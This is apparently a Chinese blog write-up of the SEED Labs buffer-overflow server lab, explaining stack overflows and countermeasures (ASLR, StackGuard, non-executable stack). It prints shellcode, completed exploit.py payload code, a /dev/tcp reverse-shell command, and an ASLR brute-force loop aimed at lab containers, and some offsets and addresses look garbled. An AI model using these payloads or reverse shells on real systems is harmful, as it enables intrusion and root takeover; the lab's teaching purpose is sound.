说在前面
实验总述
缓冲区溢出是指程序试图写入超出缓冲区边界的数据。恶意用户可利用这一漏洞改变程序的流控制,从而导致恶意代码的执行。本实验的目的是让学生从实践中了解这种类型的漏洞,并学习如何在攻击中利用这种漏洞。
在本实验中,学生将得到四台不同的服务器,每台服务器都运行着一个存在缓冲区溢出漏洞的程序。他们的任务是开发一个利用该漏洞的方案,并最终获得这些服务器的 root 权限。除攻击外,学生还将尝试几种针对缓冲区溢出攻击的对策。学生需要评估这些方案是否有效,并解释原因。本实验室涵盖以下主题:
- 缓冲区溢出漏洞和攻击
- 函数调用中的堆栈布局
- 地址随机化、不可执行堆栈和 StackGuard
- shellcode 我们有一个关于如何从头开始编写 shellcode 的独立lab
实验环境
虚拟机环境:SEED-labs-ubuntu 20.04
使用软件:Oracle VM VirtualBox7.1.0
虚拟机安装配置可参考该博客: SEED-labs-ubuntu 20.04 虚拟机环境搭建
实验环境初始化
1.在项目网站上根据自己的设备类型下载对应的 Labsetup文件夹(该文件夹中包含本lab的所需的所有文件),解压后移动到虚拟机中。
项目网站 SEED Labs 2.0 Buffer-Overflow Attack Lab (Server Version)
2.在实验开始之前我们需要确保地址随机化对策(address randomization countermeasure)已关闭;否则,我们之后的攻击将很困难。可以使用以下命令关闭该功能:
$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
3.本实验室使用的易受攻击程序名为 stack.c,位于 server-code 文件夹中。编译 stack.c ,并将编译后的二进制文件复制到bof-container 文件夹中。
注: stack.c 这个程序存在缓冲区溢出漏洞,你的任务就是利用这个漏洞获得 root 权限。下面列出的代码删除了一些非必要信息,因此与你从 Labsetup 中获得的代码略有不同。
c
// Listing 1: The vulnerable program stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past.
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str); ✰
return 1;
}
int main(int argc, char **argv)
{
char str[517];
int length = fread(str, sizeof(char), 517, stdin);
bof(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}
上述程序存在缓冲区溢出漏洞。它从标准输入端读取数据,然后将数据传递到函数 bof() 中的另一个缓冲区。原始输入的最大长度为 517 字节,但 bof() 中的缓冲区只有 BUF SIZE 字节长,小于 517 字节。由于 strcpy() 不会检查边界,因此会发生缓冲区溢出。
程序将以 root 权限在服务器上运行,其标准输入将重定向到服务器与远程用户之间的 TCP 连接。因此,程序实际上是从远程用户处获取数据的。如果用户能利用这个缓冲区溢出漏洞,就能在服务器上获得 root shell。
要编译上述易受攻击的程序,我们需要使用"-fno-stack-protector "和"-z execstack "选项关闭堆栈保护和不可执行堆栈保护。下面是编译命令的示例(L1 环境变量设置了 stack.c 中 BUF SIZE 常量的值)。
$ gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c
我们将把堆栈程序编译成 32 位和 64 位二进制文件。我们预置的 Ubuntu 20.04 虚拟机是 64 位虚拟机,但仍支持 32 位二进制文件。我们只需在 gcc 命令中使用 -m32 选项即可。对于 32 位编译,我们还可以使用 -static 来生成静态链接的二进制文件,它是独立的,不依赖于任何动态链接库,因为我们的容器中没有安装 32 位动态链接库。
Makefile 中已经提供了编译命令。要编译代码,需要键入 make 来执行这些命令。变量 L1、L2、L3 和 L4 已在 Makefile 中设置,它们将在编译过程中使用。编译完成后,我们需要将二进制文件复制到 bof-containers 文件夹,以便容器可以使用它们。以下命令将执行编译和安装。
$ make
$ make install
为了使实验与过去提供的实验略有不同,教师可以通过要求学生使用不同的 BUF SIZE 值编译服务器代码来更改 BUF SIZE 的值。在 Makefile 中,BUF SIZE 值由四个变量 L1、...、L4 设置。教师应根据以下建议选择这些变量的值:
- L1:在 100 和 400 之间选择一个数字
- L2: 在 100 和 200 之间选择一个数字
- L3: 在 100 和 400 之间选择一个数字
- L4:在 20 到 80 之间选取一个数字;我们需要让这个数字小一些,以便让这一关卡比上一关卡更具挑战性。
服务器程序 在 server-code 文件夹中,你可以找到一个名为 server.c 的程序,它是服务器的主要入口。它监听 9090 端口。当收到 TCP 连接时,它会调用堆栈程序,并将 TCP 连接设置为堆栈程序的标准输入。这样,当堆栈从 stdin 中读取数据时,实际上是从 TCP 连接中读取的,即数据是由 TCP 客户端的用户提供的。学生不必阅读 server.c 的源代码。
4.回到 Labsetup 目录,使用下面的命令配置docker环境。
$ dcbuild
$ dcup
问题记录: 我在第一次进行该操作时遇到下面的问题,无法建立 docker 环境。
出现这个网络延时高的错误,正常情况是需要配置 docker 镜像源来解决,但是我本身就配置了主流的 docker 镜像源,在查阅了资料后知晓,今年中旬国内大部分的 docker 镜像网站都被官方下架导致无法使用, 下面提供一份他人整理的 docker 镜像源清单,仅供参考。
可用 docker 镜像源参考
seedlab 的docker manual 中关于更换 docker 镜像源的操作方法介绍。
更换镜像源的方法
注: 请从实验室网站下载 Labsetup.zip 文件到你的虚拟机,解压缩后进入 Labsetup 文件夹,使用 docker-compose.yml 文件来设置实验环境。关于该文件和所有相关 Dockerfile 内容的详细解释,请参阅本实验室网站上链接的用户手册。如果这是你第一次使用容器建立 SEED 实验环境,请务必阅读用户手册。
用户手册
下面我们将列出一些与 Docker 和 Compose 相关的常用命令。由于我们将频繁使用这些命令,因此我们在 .bashrc 文件(在我们提供的 SEEDUbuntu 20.04 虚拟机中)中为它们创建了别名。
$ docker-compose build # Build the container image
$ docker-compose up # Start the container
$ docker-compose down # Shut down the container
// Aliases for the Compose commands above
$ dcbuild # Alias for: docker-compose build
$ dcup # Alias for: docker-compose up
$ dcdown # Alias for: docker-compose down
所有容器都将在后台运行。要在一个容器上运行命令,我们通常需要在该容器上获取一个 shell。我们首先需要使用 "docker ps "命令找出容器的 ID,然后使用 "docker exec "命令在该容器上启动 shell。我们在 .bashrc 文件中为它们创建了别名。
$ dockps // Alias for: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id> // Alias for: docker exec -it <id> /bin/bash
// The following example shows how to get a shell inside hostC
$ dockps
b1004832e275 hostA-10.9.0.5
0af4ea7a3e2e hostB-10.9.0.6
9652715c8e0a hostC-10.9.0.7
$ docksh 96
root@9652715c8e0a:/#
// Note: If a docker command requires a container ID, you do not need to
// type the entire ID string. Typing the first few characters will
// be sufficient, as long as they are unique among all the containers.
如果在设置实验环境时遇到问题,请阅读手册中的 "常见问题 "部分,了解可能的解决方法。
注意 需要注意的是,在运行 "docker-compose build "构建 docker 映像之前,我们需要编译服务器代码并将其复制到 bof-containers 文件夹中。这一步将在第 2.2 节中介绍。
栈溢出原理
参考资料:栈溢出原理-CTF Wiki
程序发生函数调用时,计算机的操作如下所示
- 首先把指令寄存器 EIP (指向当前CPU将要运行的下一条指令的地址)中的内容压入栈,作为程序的返回地址(用RET表示)
- 之后将EBP放入栈,指向当前函数栈帧(stack frame)的底部
- 然后把当前的栈指针 ESP 拷贝到EBP,作为新的基地址,最后为本地变量的动态存储分配留出一定空间,并把ESP减去适当的数值。
栈溢出是缓冲区溢出中的一种。函数的局部变量通常保存在栈上。如果在堆栈中压入的数据超过预先给堆栈分配的容量时,就会出现堆栈溢出,从而使得程序运行失败;如果发生溢出的是大型程序还有可能会导致系统崩溃。如果这些缓冲区发生溢出,就是栈溢出。最经典的栈溢出利用方式是覆盖函数的返回地址,以达到劫持程序控制流的目的。
下面是一个栈溢出的实例
下面的C语言程序,是一个输入name,并打印name的程序。
c
#include <stdio.h>
int main()
{
char name[16];
gets(name);
for(int i=0;i<16&&name[i];i++)
printf("%c",name[i]);
}
在调用 main()
函数时,程序堆栈的操作是:
- 先在栈底压入返回地址
- 接着将栈指针
EBP
入栈,并把EBP
修改为现在的ESP
- 之后
ESP
减16,即向上增长16个字节,用来存放name[]
正常情况下,执行完 get()
之后,栈中的情况如下。
当输入的内容过长时,原有的 name[]
的16位的空间存储不下,只好往后面去覆盖其他的空间,此时栈中的情况如下,可以看到RET
的内容已经被覆盖了。此时即发生了栈溢出。
上面是一个栈溢出的案例,下面列举三种常见的容易导致栈溢出的函数
- 输入:
gets()
,直接读取一行,到换行符'\n'
为止,同时'\n'
被转换为'\x00'
; - 输入:
scanf()
,格式化字符串中的%s
不会检查长度; - 输入:
vscanf()
,同上。 - 输出:
sprintf()
,将格式化后的内容写入缓冲区中,但是不检查缓冲区长度。 - 字符串:
strcpy()
,遇到'\x00'
停止,不会检查长度,经常容易出现单字节写 0(off by one) 溢出。
实验详情
TASK1:Get Familiar with the Shellcode
任务描述
请修改 shellcode_32.py
,以便用它来删除文件。
注: 缓冲区溢出攻击的最终目的是在目标程序中注入恶意代码,以便利用目标程序的权限执行代码。大多数代码注入攻击都广泛使用 Shellcode。让我们在本任务中熟悉一下它。
Shellcode 通常用于代码注入攻击。它基本上是一段启动 shell 的代码,通常用汇编语言编写。在本实验室中,我们只提供普通 shellcode 的二进制版本,而不解释其工作原理,因为它并不复杂。如果您对 shellcode 的具体工作原理感兴趣,并想从头开始编写 shellcode,您可以从另一个名为 "Shellcode Lab "的 SEED 实验室中学习。下面列出了我们的通用 shellcode(我们只列出了 32 位版本):
shellcode = (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*" ➊
"-c*" ➋
"/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd *" ➌
# The * in this line serves as the position marker *
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')
shellcode 运行"/bin/bash "shell 程序(第➊行),但它有两个参数:"-c"(第➋行)和一个命令字符串(第➌行)。这表示 shell 程序将运行第二个参数中的命令。这些字符串末尾的 "*"只是一个占位符,它将在 shellcode 执行过程中被一个 0x00 字节替换。每个字符串末尾都需要有一个 0,但我们不能在 shellcode 中输入 0。相反,我们会在每个字符串的末尾添加一个占位符,然后在执行过程中动态地在占位符中添加一个零。
如果我们想让 shellcode 运行其他命令,只需修改第➌行中的命令字符串即可。不过,在修改时,我们需要确保不要改变该字符串的长度,因为 argv[] 数组占位符的起始位置(位于命令字符串之后)是 shellcode 二进制部分的硬编码。如果我们改变长度,就需要修改二进制部分。为了使字符串末尾的星号保持在同一位置,可以添加或删除空格。
您可以在 shellcode 文件夹中找到通用 shellcode。在里面,你会看到两个 Python 程序:shellcode 32.py 和 shellcode 64.py。它们分别用于 32 位和 64 位 shellcode。这两个 Python 程序将分别把二进制 shellcode 写入代码文件 32 和代码文件 64。然后,您可以使用调用 shellcode 来执行其中的 shellcode。
// Generate the shellcode binary
$ ./shellcode_32.py ➝ generate codefile_32
$ ./shellcode_64.py ➝ generate codefile_64
// Compile call_shellcode.c
$ make ➝ generate a32.out and a64.out
// Test the shellcode
$ a32.out ➝ execute the shellcode in codefile_32
$ a64.out ➝ execute the shellcode in codefile_64
任务分析
完成步骤
1.进入shellcode 文件夹,阅读其中的 README.md
,内容如下:
- Compile the code using `make`. It will generate two executables:
`a32.out` (32-bit code) and `a64.out` (64-bit code).
- Run the two Python programs to generate the shellcode, one for 32-bit,
and the other for 64-bit. You can modify the shellcode.
- Run `a32.out` and `a64.out` to test your shellcode.
2.使用 make
编译生成两个可执行文件 a32.out
和 a64.out
。
3.分别运行 shellcode_32.py
和 shellcode_64.py
。两个py文件运行后分别会输出 32 位和 64 的二进制机器码文件 codefile_32
和 codefile_64
。
4.运行可执行文件 a32.out
和 a64.out
,查看运行结果。
5.对 shellcode_32.py
进行修改,使其能够删除文件,我们假设要删除的文件为 delete_target
。同时因为不能改变 shell 的长度,我们需要用空格填充至原来的长度(使星号对齐即可)。
6.创建待删除的文件 delete_target
,后重新编译,然后运行重新生成的二进制文件 a32.out
,可以看到成功执行删除文件的功能。
TASK2:Level-1 Attack
任务描述
当我们使用附带的 docker-compose.yml
文件启动容器时,将有四个容器在运行,分别代表四个难度级别。在本任务中,我们将处理第 1 级。
Ⅰ. Server
我们的第一个目标运行在 10.9.0.5
上(端口号为 9090),易受攻击的程序栈是一个 32 位程序。让我们先向该服务器发送一条良性信息。我们将看到目标容器打印出以下信息(您看到的实际信息可能有所不同)。
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.5 9090
Press Ctrl+C
// Messages printed out by the container
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffdb88 ✰
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffdb18 ✰
server-1-10.9.0.5 | ==== Returned Properly ====
服务器最多会接受来自用户的 517 字节数据,这将导致缓冲区溢出。你的任务就是构建有效载荷来利用这个漏洞。如果将有效载荷保存在文件中,就可以使用以下命令将有效载荷发送到服务器。
$ cat <file> | nc 10.9.0.5 9090
如果服务器程序返回,则会打印出 "Returned Properly"。如果没有打印出这条信息,堆栈程序可能已经崩溃。服务器仍将继续运行,接受新的连接。
在这项任务中,将打印出缓冲区溢出攻击所必需的两个信息,作为对学生的提示:帧指针的值和缓冲区的地址(以 ✰ 标记的行)。帧指针寄存器在 x86 架构中称为 ebp,在 x64 架构中称为 rbp。您可以使用这两个信息来构建有效载荷。
随机性增强: 我们在程序中添加了一点随机性,因此不同的学生可能会看到不同的缓冲区地址和帧指针值。只有当容器重新启动时,这些值才会发生变化,因此只要保持容器运行,就会看到相同的数字(不同学生看到的数字仍然不同)。这种随机性与地址随机化对策不同。它的唯一目的是让学生的作业有点不同。
Ⅱ. Writing Exploit Code and Launching Attack
要利用目标程序中的缓冲区溢出漏洞,我们需要准备一个有效载荷,并将其保存在一个文件中(本文将使用 badfile 作为文件名)。为此,我们将使用 Python 程序。我们提供了一个名为 exploit.py 的骨架程序,它包含在实验室设置文件中。代码并不完整,学生需要替换代码中的一些重要值。
python
"""Listing 2: The skeleton exploit code (exploit.py)"""
#!/usr/bin/python3
import sys
# You can copy and paste the shellcode from Task 1
shellcode = (
"" # ✩ Need to change ✩
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 0 # ✩ Need to change ✩
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and save it somewhere in the payload
ret = 0xAABBCCDD # ✩ Need to change ✩
offset = 0 # ✩ Need to change ✩
# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
完成上述程序后,运行它。这将生成 badfile 的内容。然后将其发送到易受攻击的服务器。如果你的漏洞利用程序执行得当,你放在 shellcode 中的命令就会被执行。如果您的命令生成了一些输出,您应该可以在容器窗口中看到它们。请提供证据,证明您可以成功地让有漏洞的服务器运行您的命令。
$./exploit.py // create the badfile
$ cat badfile | nc 10.9.0.5 9090
reverse shell。 我们对运行一些预设命令不感兴趣。我们想在目标服务器上获得一个 root shell,这样就可以输入任何命令。由于我们在远程机器上,如果只是让服务器运行 /bin/sh,我们就无法控制 shell 程序。反向 shell 是解决这一问题的典型技术。第 10 节提供了运行反向 shell 的详细说明。请修改 shellcode 中的命令字符串,以便在目标服务器上运行反向 shell。请在实验报告中附上截图和说明。
完成步骤
1.进入 server_code 文件夹,输入下面的命令,向服务器发送信息,获得服务器的反馈。
docker 终端会显示 EBP
和 bof ()
函数中 buffer 地址的值
2.修改 exploit.py
:
shellcode
的内容替换为,上一任务中的shellcode_32.py
中的shellcode
。start=0
修改为start=517-len(shellcode)
。ret=0xAABBCCDD
修改为ret = EBP + n
,其中EBP = 0xffffd198
为刚刚通过服务器终端获取的 EBP 的值(因为关闭了地址随机化,所以每次都一样),n 为大于等于 8 的随机数,我这里取 8。即修改为ret = 0xFFFFD198 + 8
。offset=0
修改为offset=0xFFFFD198 - 0xFFFFD128 + 4
。
3.运行 exploit.py
生成 badfile
,然后使用 cat badfile
的方式发送至服务器。
发送后服务器终端显示
4.按照题目要求,我们来进行 reverse shell 的操作。将 shellcode 改为 reverse shell,对 exploit.py
修改,使在服务器上执行一个反弹 shell,相应的命令为
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
命令中, -i
参数表示启动一个交互式 bash, > /dev/tcp/x.x.x.x/xxxx
表示将输出发送到远程地址 x.x.x.x
的 xxxx
端口
0 , 1 , 2 是特殊的文件描述符,分别表示:
- 0: stdin ,标准输入
- 1: stdout ,标准输出
- 2: stderr ,标准错误输出
0<&1 和 2>&1 就表示将输入和错误输出都重定向到标准输出中。修改后的代码如图所示。
5.新建一个终端,监听服务器的 9090 端口。
6.在之前的终端中,重新运行 exploit.py
后,将生成的 badfile
重新发送至服务器。
7.可以看到已成功获取权限。
TASK3:Level-2 Attack
在本任务中,我们将通过不显示一条重要信息来增加一点攻击难度。我们的目标服务器是 10.9.0.6
(端口号仍为 9090,易受攻击程序仍为 32 位程序)。让我们先向该服务器发送一条良性信息。我们将看到目标容器打印出以下信息。
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.6 9090
Ctrl+C
// Messages printed out by the container
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffda3c
server-2-10.9.0.6 | ==== Returned Properly ====
正如你所看到的,服务器只给出了一个提示,即缓冲区的地址,并没有透露帧指针的值。这意味着,缓冲区的大小对你来说是未知的。这使得利用该漏洞比一级攻击更加困难。虽然可以在 Makefile 中找到实际的缓冲区大小,但在攻击中不允许使用该信息,因为在现实世界中,您不太可能拥有该文件。为了简化任务,我们假设缓冲区大小的范围是已知的。另一个可能对你有用的事实是,由于内存对齐,存储在帧指针中的值总是四的倍数(对于 32 位程序)。
Range of the buffer size (in bytes): [100, 300]
您的任务是构建一个有效载荷来利用服务器上的缓冲区溢出漏洞,并在目标服务器上获得 root shell(使用反向 shell 技术)。请注意,您只能构建一个有效载荷,且该有效载荷必须适用于该范围内的任何缓冲区大小。如果使用 "暴力 "方法,即每次只尝试一种缓冲区大小,则无法获得所有积分。尝试的次数越多,就越容易被受害者发现并击败。这就是为什么尽量减少试验次数对攻击非常重要。在实验报告中,您需要描述您的方法并提供证据。
完成步骤
1.用相同的方式,连接另一个服务端 10.9.0.6
。
服务端的返回结果如下。可以看到只显示了bof ()
函数中 buffer 地址的值 0xFFFFD298
。
2.修改 exploit.py
,
ret = 0
修改为ret=0xFFFFD298+308
- 虽然我们不知道 EXP 的地址,但是我们知道 buffer 的大小在 [100, 300] 区间内,所以可以将 100 到 308 内的每四字节都替换为返回地址 ret。通过暴力枚举的方式来解决问题
python
for offset in range(100,304,4):
content[offset:offset +4] = (ret).to_bytes(4,byteorder='little')
3.执行exploit.py
,并发送至服务器,得到结果。
TASK4:Level-3 Attack
任务详情
在前面的任务中,我们的目标服务器是 32 位程序。在本任务中,我们将切换到 64 位服务器程序。我们的新目标是 10.9.0.7
,它运行 64 位版本的堆栈程序。让我们先向服务器发送一条 hello 消息。我们将看到目标容器打印出以下信息。
// On the VM (i.e., the attacker machine)
$ echo hello | nc 10.9.0.7 9090
Ctrl+C
// Messages printed out by the container
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe070
server-3-10.9.0.7 | ==== Returned Properly ====
您可以看到帧指针和缓冲区地址的值变成了 8 字节长(而不是 32 位程序中的 4 字节)。您的任务是构建有效载荷,利用服务器的缓冲区溢出漏洞。您的最终目标是在目标服务器上获得一个 root shell。您可以使用任务 1 中的 shellcode,但需要使用 64 位版本的 shellcode。
挑战。与 32 位机器上的缓冲区溢出攻击相比,64 位机器上的攻击难度更大。最困难的部分是地址。虽然 x64 架构支持 64 位地址空间,但只允许使用 0x00
至 `0x00007FFFFFFFFFFF 的地址。这意味着在每个地址(8 个字节)中,最高的两个字节总是 0。这就造成了一个问题。
在缓冲区溢出攻击中,我们需要在有效负载中存储至少一个地址,并通过 strcpy()
将有效负载复制到堆栈中。我们知道,strcpy()
函数会在看到 0 时停止复制。因此,如果有效载荷中间出现一个 0,0 后面的内容就无法复制到栈中。如何解决这个问题是这次攻击中最困难的挑战。您需要在报告中描述如何解决这一问题。
完成步骤
1.Task 4 的目标机器为 10.9.0.7,首先发送 echo hello 查看服务器输出。
服务器输出的结果为
2.修改 exploit.py
:
- 复制
shellcode_64.py
中的 64 位shellcode
到exploit.py
中的shellcode
中。 - 修改
start
为一个较小的值,我这里直接修改为start=0
。 - 修改
ret
为ret=0x00007FFFFFFFE1C0
- 修改
offset
为offset=0xE290 - 0xE1C0 + 8
- 修改
content
为content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little')
3.执行修改后的exploit.py
,将 badfile
发送至服务器,成功完成。
TASK5:Level-4 Attack
该任务中的服务器与第 3 级类似,只是缓冲区的大小要小得多。从下面的打印输出可以看出,帧指针与缓冲区地址之间的距离只有 32 字节左右(实验室中的实际距离可能不同)。在第 3 级中,这个距离要大得多。你的目标是一样的:获取服务器上的 root shell。服务器仍然从用户处接收 517 字节的输入数据。
server-4-10.9.0.8 | Got a connection from 10.9.0.1
server-4-10.9.0.8 | Starting stack
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe1b0
server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe190
server-4-10.9.0.8 | ==== Returned Properly ====
任务分析
本 task 重点在于执行 return-to-libc
攻击。
完成步骤
1.依然先向服务器发送 echo hello
,查看服务器的输出。
2.修改 exploit.py
:
- 将 ret 的值设为 RBP+n , n 是 [1184, 1424] 之间的值,取 n=1200 (原理暂不清楚)
0x00007fffffff2c0 + 1200
offset = 0xe320 - 0xe2c0 + 8
3.运行 exploit.py
,发送给服务器
TASK6:Experimenting with the Address Randomization
任务内容
在本实验室开始时,我们关闭了其中一项反措施,即地址空间布局随机化(ASLR)。在本任务中,我们将重新打开它,看看它对攻击有何影响。您可以在虚拟机上运行以下命令启用 ASLR。这一更改是全局性的,会影响虚拟机中运行的所有容器。
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
请向 1 级和 3 级服务器发送 Hello 消息,并发送多次。请在报告中汇报您的观察结果,并解释为什么 ASLR 会增加缓冲区溢出攻击的难度。
击败 32 位随机化。据报道,在 32 位 Linux 机器上,只有 19 个位可用于地址随机化。这还远远不够,如果我们运行足够多的攻击次数,就能轻松击中目标。对于 64 位机器,用于随机化的位数会大幅增加。
在本任务中,我们将在 32 位 1 级服务器上进行尝试。我们使用 "暴力 "方法反复攻击服务器,希望我们在有效载荷中输入的地址最终是正确的。我们将使用 1 级攻击中的有效载荷。您可以使用下面的 shell 脚本无限循环运行易受攻击的程序。如果出现反向 shell,脚本将停止;否则,脚本将继续运行。如果你运气不差,应该能在 10 分钟内获得反向 shell。
#!/bin/bash
SECONDS=0
value=0
while true; do
value=$(( $value + 1 ))
duration=$SECONDS
min=$(($duration / 60))
sec=$(($duration % 60))
echo "$min minutes and $sec seconds elapsed."
echo "The program has been running $value times so far."
cat badfile | nc 10.9.0.5 9090
done
任务分析
在 32 位程序中,只有 19 位地址可以被用作地址随机化,这个规模其实并不大,可以通过爆破的方式破解。
完成步骤
1.打开地址随机化
2.向1级服务器和3级服务器各发送两次 Hello 消息,得到结果。我们可以看到每次地址都不相同,这导致攻击困难。
1级服务器的反馈:
3级服务器的反馈:
3.利用 Task 2 中的 reverse shell 的 shellcode 和 attack-code 目录下的 brute-forth.sh
脚本进行爆破攻击。
$ ./exploit.py
$ ./brute-force.sh
在尝试 63969 次后,成功获得权限。
TASK7:Experimenting with Other Countermeasures
TASK7.a:Turn on the StackGuard Protection
许多编译器(如 gcc)都实现了一种名为 StackGuard 的安全机制,以防止缓冲区溢出。有了这种保护,缓冲区溢出攻击就无法奏效。所提供的易受攻击程序在编译时并未启用 StackGuard 保护机制。在本任务中,我们将打开它,看看会发生什么。
请进入 server-code 文件夹,移除 gcc 标志中的 -fno-stack-protector 标志,然后编译 stack.c。我们将只使用 stack-L1,但不是在容器中运行,而是直接从命令行运行。让我们创建一个可能导致缓冲区溢出的文件,然后输入文件 stack-L1 的内容。请描述并解释你的观察结果。
$ ./stack-L1 < badfile
完成步骤
1.进入 server-code 目录,编辑 Makefile
,去除 -fno-stack-protector
选项,重新编译生成可执行文件。
编辑 Makefile
,去除 -fno-stack-protector
选项
重新编译生成可执行文件
注: 在重新 make 时可能会遇到下面的情况,这是因为我们之前已经编译过了,我们只需要 make clean 即可重新 make。
2.用 badfile
作为 stack-L1
的输入,输入后显示检测到了 stack smashing
,程序停止运行。
TASK7.b:Turn on the Non-executable Stack Protection
任务描述
过去,操作系统允许使用可执行堆栈,但现在情况发生了变化:在 Ubuntu 操作系统中,程序(和共享库)的二进制映像必须声明它们是否需要可执行堆栈,也就是说,它们需要在程序头中标记一个字段。内核或动态链接器会使用该标记来决定是否将该运行程序的堆栈设置为可执行或不可执行。这种标记由 gcc 自动完成,它默认情况下会将堆栈设置为不可执行。我们可以在编译时使用 -z noexecstack
标记,将堆栈设为不可执行。在前面的任务中,我们使用了 -z execstack
来使堆栈可执行。
在这项任务中,我们将使堆栈不可执行。我们将在 shellcode 文件夹中进行这项实验。调用 shellcode 程序会将 shellcode 的副本放到堆栈中,然后执行堆栈中的代码。请重新编译 call shellcode.c
到 a32.out
和 a64.out
,不要使用 -z execstack
选项。运行它们,描述并解释您的观察结果。
**破解不可执行堆栈对策。**需要注意的是,不可执行堆栈只是使 shellcode 无法在堆栈上运行,但并不能防止缓冲区溢出攻击,因为利用缓冲区溢出漏洞后,还有其他方法可以运行恶意代码。return-tolibc 攻击就是一个例子。我们为这种攻击设计了一个单独的实验室。如有兴趣,请参阅我们的 Return-to-Libc 攻击实验室了解详情。
完成步骤
1.进入 shellcode 文件夹,编辑 Makefile ,去除 -z execstack
选项,重新编译生成可执行文件.
编辑 Makefile ,去除 -z execstack
选项
重新编译生成可执行文件
2.此时编译出的两个程序都无法正常运行
参考资料
[1] SEED Labs 2.0 - Buffer Overflow Attack Lab (Server Version)
[2] 【SEED Labs 2.0】Buffer-Overflow Attack
如果存在错误或者不准确的地方欢迎在评论区指出,如果对你有帮助的话希望能点赞,转发,,关注😀这是对我莫大的鼓励。